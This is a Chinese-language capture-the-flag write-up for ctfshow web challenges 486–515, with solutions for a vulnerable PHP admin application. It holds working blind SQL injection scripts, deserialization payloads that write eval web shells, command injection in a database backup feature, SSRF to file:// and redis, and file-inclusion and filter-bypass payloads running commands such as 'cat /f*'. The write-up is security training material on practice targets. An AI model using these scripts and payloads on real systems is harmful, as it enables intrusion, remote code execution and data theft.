简介 我认为的ctfshow是一个用来培养自己解决问题能力的平台。
没有卡住的标记为√
web486√ 后台扫描发现flag.php
结合报错信息包含。。
web487√ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsurl = "http://fcd97f15-0d16-4de5-a13a-0e6412c443d4.challenge.ctf.show/index.php?action=check&username=admin\"')" result = '' i = 0 while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = f'or 1=if(ascii(substr((select group_concat(flag) from ctfshow.flag),{i} ,1))>{mid} ,sleep(1),0) -- -&password=admin' try : r = requests.get(url + payload, timeout=0.5 ) tail = mid except Exception as e: head = mid + 1 if head != 32 : result += chr (head) else : break print (result)
web488√ index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ header ('location:index.php?action=login' ); die (); } if ($action =='check' ){ $username =$_GET ['username' ]; $password =$_GET ['password' ]; $sql = "select id from user where username = '" .md5 ($username )."' and password='" .md5 ($password )."' order by id limit 1" ; $user =db::select_one ($sql ); if ($user ){ templateUtil ::render ('index' ,array ('username' =>$username )); }else { templateUtil ::render ('error' ,array ('username' =>$username )); } } if ($action =='login' ){ templateUtil ::render ($action ); }else { templateUtil ::render ($action ); }
render_class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php ini_set ('display_errors' , 'On' );include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { if (cache::cache_exists ($template )){ echo cache::get_cache ($template ); }else { $templateContent =fileUtil ::read ('templates/' .$template .'.php' ); $cache =templateUtil ::shade ($templateContent ,$arg ); cache::create_cache ($template ,$cache ); echo $cache ; } } public static function shade ($templateContent ,$arg ) { foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , $value , $templateContent ); } return $templateContent ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php ini_set ('display_errors' , 'On' );class cache { public static function create_cache ($template ,$content ) { if (file_exists ('cache/' .md5 ($template ).'.php' )){ return true ; }else { fileUtil ::write ('cache/' .md5 ($template ).'.php' ,$content ); } } public static function get_cache ($template ) { return fileUtil ::read ('cache/' .md5 ($template ).'.php' ); } public static function cache_exists ($template ) { return file_exists ('cache/' .md5 ($template ).'.php' ); } }
模板注入(?)
1 2 3 4 5 6 7 cache::create_cache 可以写入文件 render中调用了 cache::create_cache ($template ,$cache ); 这里$template 为'error' $cache 为
可以在username里写入一句话
web489√ 变量覆盖盲注
和上一题读源码的方式相同
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 include ('render/render_class.php' );include ('render/db_class.php' );$action =$_GET ['action' ];if (!isset ($action )){ header ('location:index.php?action=login' ); die (); } if ($action =='check' ){ $sql = "select id from user where username = '" .md5 ($username )."' and password='" .md5 ($password )."' order by id limit 1" ; extract ($_GET ); $user =db::select_one ($sql ); if ($user ){ templateUtil ::render ('index' ,array ('username' =>$username )); }else { templateUtil ::render ('error' ); } } if ($action =='clear' ){ system ('rm -rf cache/*' ); die ('cache clear' ); } if ($action =='login' ){ templateUtil ::render ($action ); }else { templateUtil ::render ($action ); }
12行的extract十分显眼,存在变量覆盖漏洞,那$sql
我们也可控了
这样可以盲注
1 index.php?action=check&sql=select id from user where id = -1 or 1 =2 ;
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests url = "http://806b79c8-10ce-4e09-b1c7-a5eec69d6f88.challenge.ctf.show/index.php?action=check&sql=" result = '' i = 0 while True: i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = f"select id from user where id = -1 or 1=if(ascii(substr((select load_file('/flag')),{i},1))<={mid},1,0);" r = requests.get (url+payload) if ("欢迎你" in r.text): tail = mid else : head = mid +1 if head != 32 : result += chr (head) else : break print (result)
web490√,web491√ 盲注
1 2 3 4 5 6 7 8 9 10 if ($action =='check' ){ extract ($_GET ); $sql = "select username from user where username = '" .$username ."' and password='" .md5 ($password )."' order by id limit 1" ; $user =db::select_one ($sql ); if ($user ){ templateUtil ::render ('index' ,array ('username' =>$user ->username)); }else { templateUtil ::render ('error' ); } }
username处可以注入
username处可以注入,没有md5包裹,变量覆盖到上面了,所以其实后面的我们都不可控。
盲注脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests url = "http://4b962d26-b183-471c-b6ca-7c0ca0bac069.challenge.ctf.show/index.php?action=check&username=" result = '' i = 0 while True: i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = f"admin' or if(ascii(substr((select load_file('/flag')),{i},1))>{mid},1,0);--%20qwe" r = requests.get (url+payload) if ("flag_here" in r.text): head = mid +1 else : tail = mid if head != 32 : result += chr (head) else : break print (result)
web492√ 模板代码注入
1 2 3 4 5 6 7 8 9 10 11 12 if ($action =='check' ){ extract ($_GET ); if (preg_match ('/^[A-Za-z0-9]+$/' , $username )){ $sql = "select username from user where username = '" .$username ."' and password='" .md5 ($password )."' order by id limit 1" ; $user =db::select_one_array ($sql ); } if ($user ){ templateUtil ::render ('index' ,$user ); }else { templateUtil ::render ('error' ); } }
跳过第一个if判断,直接覆盖$user
变量试试看。
看下templateUtil::render
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class templateUtil { public static function render ($template ,$arg =array ( ) ) { if (cache::cache_exists ($template )){ echo cache::get_cache ($template ); }else { $templateContent =fileUtil ::read ('templates/' .$template .'.php' ); $cache =templateUtil ::shade ($templateContent ,$arg ); cache::create_cache ($template ,$cache ); echo $cache ; } } public static function shade ($templateContent ,$arg ) { foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , '<!--' .$value .'-->' , $templateContent ); } return $templateContent ; } }
那就是回到了488,但是下面value被注释掉了,闭合一下写入。
1 ?action=check&user[username]=--><?= system ('tac /f*' )?> <! --&username=;'-=
这里小坑:
user[username]
而user[‘username’]不行
细心点比较好。
web493√ 1 2 3 if (isset ($_COOKIE ['user' ])){ $c =$_COOKIE ['user' ]; $user =unserialize ($c );
反序列化入口,$user
类我们可控。
可以利用的类在/index.php?action=../render/db_class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class dbLog { public $sql ; public $content ; public $log ; public function __construct ( ) { $this ->log='log/' .date_format (date_create (),"Y-m-d" ).'.txt' ; } public function log ($sql ) { $this ->content = $this ->content.date_format (date_create (),"Y-m-d-H-i-s" ).' ' .$sql .' \r\n' ; } public function __destruct ( ) { file_put_contents ($this ->log, $this ->content,FILE_APPEND); } }
直接用dbLog
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class dbLog { public $sql ; public $content ; public $log ; public function __construct ($sql , $content , $log ) { $this ->sql = $sql ; $this ->content = $content ; $this ->log = $log ; } } $a = new dbLog ("1" ,"<?=system('cat /f*');?>" ,"/var/www/html/2.php" );echo urlencode (serialize ($a ));
web494√,495√ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class dbLog { public $sql ; public $content ; public $log ; public function __construct ($sql , $content , $log ) { $this ->sql = $sql ; $this ->content = $content ; $this ->log = $log ; } } $a = new dbLog ("1" ,"<?=eval(\$_POST[1]);?>" ,"/var/www/html/5.php" );echo serialize ($a );echo "\n" ;echo urlencode (serialize ($a ));
web496*
上面三题的反序列化入口被修复了。
做着做着感觉,没有学到啥新东西。
1 -1 ' union select "username","test"; -- qwe
这里的注入可以让我们进到后台,$_SESSIO
后台可以发现api/admin_edit.php
能够盲注
1 2 extract ($_POST );$sql = "update user set nickname='" .substr ($nickname , 0 ,8 )."' where username='" .$user ['username' ]."'" ;
可以盲注,但是要先登陆后台。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import requestsimport randomurl1 = "http://98d554ee-ac65-4f47-90a2-e812ac904ea0.challenge.ctf.show/index.php?action=check" url2 = "http://98d554ee-ac65-4f47-90a2-e812ac904ea0.challenge.ctf.show/api/admin_edit.php" result = '' i = 0 session = requests.session() data = { "username" : "' || 1#" , "password" : '1' } r1 = session.post(url=url1, data=data) while True : i = i + 1 head = 32 tail = 127 session = requests.session() data = { "username" : "' || 1#" , "password" : '1' } r1 = session.post(url=url1, data=data) while head < tail: mid = (head + tail) >> 1 payload = f"' or if(ascii(substr((select/**/group_concat(flagisherebutyouneverknow118)from(flagyoudontknow76)),{i} ,1))>{mid} ,1,0) -- qwe" data2 = { 'nickname' :random.randint(1 ,100000000000 ), 'user[username]' :payload } req = session.post(url2,data2) if ("\\u529f" in req.text): head = mid +1 else : tail = mid if head != 32 : result += chr (head) else : break print (result)
第35行的反斜杠要转义(细节没注意到卡了一会儿)
web497 SSRF
render/render_class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static function checkImage ($templateContent,$arg=array() ){ foreach ($arg as $key = > $value) { if (stripos($templateContent, '{{img:' .$key.'}}' )){ $encode='' ; if (file_exists(__DIR__.'/../cache/' .md5($value))){ $encode=file_get_contents(__DIR__.'/../cache/' .md5($value)); }else { $ch=curl_init($value); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); $result=curl_exec($ch); curl_close($ch); $ret=chunk_split(base64_encode($result)); $encode = 'data:image/jpg/png/gif;base64,' . $ret; file_put_contents(__DIR__.'/../cache/' .md5($value), $encode); } $templateContent=str_replace('{{img:' .$key.'}}' , $encode, $templateContent); } } return $templateContent; }
这里可以触发SSRF,$value
为传入的图片路径,也就是头像。
api/admin_edit.php,这个登录后台就能看得到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 if ($user){ extract($_POST); $user= $_SESSION['user' ]; if (preg_match('/\'|\"|\\\/' , $avatar)){ $ret['msg' ]='存在无效字符' ; die(json_encode($ret)); } $sql = "update user set nickname='" .substr($nickname, 0 ,8 )."',avatar='" .$avatar."' where username='" .substr($user['username' ],0 ,8 )."'" ; $db=new db (); if ($db->update_one($sql)){ $_SESSION['user' ]['nickname' ]=$nickname; $_SESSION['user' ]['avatar' ]=$avatar; $ret['msg' ]='管理员信息修改成功' ; }else { $ret['msg' ]='管理员信息修改失败' ; } die(json_encode($ret)); }else { $ret['msg' ]='请登录后使用此功能' ; die(json_encode($ret)); }
后台可以控制$_SESSION['user']['avatar']
,直接打file:///flag
web498√ 这道也是SSRF,触发点和上一题相同。
可以用gopherus直接打redis
web499√ api/admin_settings.php
用php文件保存序列化数据??
直接写入一句话
web500√ 新页面api/admin_db_backup.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if ($user ){ extract ($_POST ); shell_exec ('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > ' .__DIR__ .'/../backup/' .$db_path ); if (file_exists (__DIR__ .'/../backup/' .$db_path )){ $ret ['msg' ]='数据库备份成功' ; }else { $ret ['msg' ]='数据库备份失败' ; } die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
直接拼接命令即可
web501√ 漏洞点还是上面的admin_db_backup.php
1 2 3 4 5 6 7 if (preg_match ('/^zip|tar|sql$/' , $db_format )){ shell_exec ('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > ' .__DIR__ .'/../backup/' .date_format (date_create (),'Y-m-d' ).'.' .$db_format ); if (file_exists (__DIR__ .'/../backup/' .date_format (date_create (),'Y-m-d' ).'.' .$db_format )){ $ret ['msg' ]='数据库备份成功' ; }else { $ret ['msg' ]='数据库备份失败' ; }
开头为zip即可绕过,拼接命令
web502√ 1 2 3 4 5 6 7 if (preg_match ('/^(zip|tar|sql)$/' , $db_format )){ shell_exec ('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > ' .$pre .$db_format ); if (file_exists ($pre .$db_format )){ $ret ['msg' ]='数据库备份成功' ; }else { $ret ['msg' ]='数据库备份失败' ; }
没对另一个变量过滤啊!
web503√ 刚刚的洞给修了,那就是到后台看看有没有新功能。。
这什么,没见过
api/admin_upload.php
再结合之前的数据库类写phar,备份那个地方存在触发点也可控
web504 不能读源码
上传模板处
1 name=../../../../../var /www/html/config/settings&content=O:2 :"db" :8 :{s:2 :"db" ;N;s:3 :"log" ;O:5 :"dbLog" :3 :{s:3 :"sql" ;N;s:7 :"content" ;N;s:3 :"log" ;s:9 :"log/1.php" ;}s:3 :"sql" ;s:25 :"<?php system($_GET [1]);?>" ;s:8 :"username" ;s:4 :"root" ;s:8 :"password" ;s:4 :"root" ;s:4 :"port" ;s:4 :"3306" ;s:4 :"addr" ;s:9 :"127.0.0.1" ;s:8 :"database" ;s:7 :"ctfshow" ;}
web505√ api/admin_file_view.php
1 2 3 4 5 6 extract ($_POST );if ($debug ==1 && preg_match ('/^user/' , file_get_contents ($f ))){ include ($f ); }else { $ret ['data' ]=array ('contents' =>file_get_contents (__DIR__ .'/../' .$name )); }
读取文件要求开头是user,就把一句话写在user后面然后包含即可
web506√ 限制了新建模板后缀名,反正直接包含就行。
web507√ api/admin_file_view.php那里
1 debug=1 &f=data:text/plain,user<?php system ('cat /f*' );?>
web508√ 包含图片马
1 debug=1 &f=/var /www/html/img/f3ccdd27d2000e3f9255a7e3e2c48800.jpg
web509√ 上传功能点加了过滤
1 if (preg_match ('/php|sml|phar|\:|data|file/i' , file_get_contents ($arr ["tmp_name" ]))){
改用短标签就行了,和上一题一样
web510 上传接口处增强了过滤
1 if (preg_match ('/php|sml|phar|\:|data|file|<|>|\`|\?|=/i' , file_get_contents ($arr ["tmp_name" ]))){
包含session文件getshell
web511 1 nickname=`cat /f*`&avatar=1 &username=1
然后上传一个新模板为
web512 这题看了bilibili的官方wp视频,群主嫩牛!
首先是渲染之前新增的过滤
群主提出没过滤很多关键符号
通过这几个符号就可以拼接出webshell来,类似这样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $a = <<<a eva a ;$b = <<<a l(\$_ a ;$c = <<<a POS a ;$d = <<<a T{1}); a ;eval ($a .$b .$c .$d );
突然想起来之前见过用define拼接的,这里插♂入一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php define("EV" , "eva" ."l" ); define("GETCONT" , "fil" ."e_get_contents" ); define("D" ,(GETCONT)('/var/www/html/index.php' )[353]);//获取$ define("SHELL" ,"<?php " .EV."(" .D."_POST['a']);" ); echo (GETCONT)('./shell.php' );class splf extends SplFileObject { public function __destruct () { parent::fwrite(SHELL); } } define("PHARA" , new splf('shell.php' ,'w' ));
然后通过调用db类来写入webshell,这里用到了clone
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 1; $a = <<<a <?php includ a ;$b = <<<a e $ a ;$c = <<<a _POS a ;$d = <<<a T{1}?> a ;$e = <<<a s.php a ;$f = clone $db ;$db ->log ->log =$e ;$db ->log ->content=$a .$b .$c .$d ;
直接包含data协议
web513
新建一个模板,new.sml,内容为
能够渲染{{cnzz}}
新建一个模板,1.sml,里面写上vps里放的一句话的地址,http://xxx.xxx.xxx.xxx/1
然后在配置里把cnzz,也就是页面统计,也就是上面的$config['cnzz']
指向1.sml即可
web514 还是利用渲染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public static function checkFoot($templateContent ){ if ( stripos($templateContent , '{{cnzz}}' )) { $config = unserialize(file_get_contents(__DIR__.'/../config/settings' )); $foot = $config ['cnzz' ]; if (is_file($foot )){ $foot =file_get_contents($foot ); if (!preg_match('/<|>|\?|=|php|sess|log|phar|\.|\[|\{|\(|_/' , $foot )){ include($foot ); } } } return $templateContent ; }
我们可以传入一个没有等于号的data协议来触发rce
1 name=12.sml&content[]=data://text/plain;base64 ,PD9waHAgZWNobyBzeXN0ZW0oJ3RhYyAvZionKTsvLzEyMz8+
web515 1 (msg.match (/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/ ))!==null || msg.length >40 )
用参数嵌套绕过过滤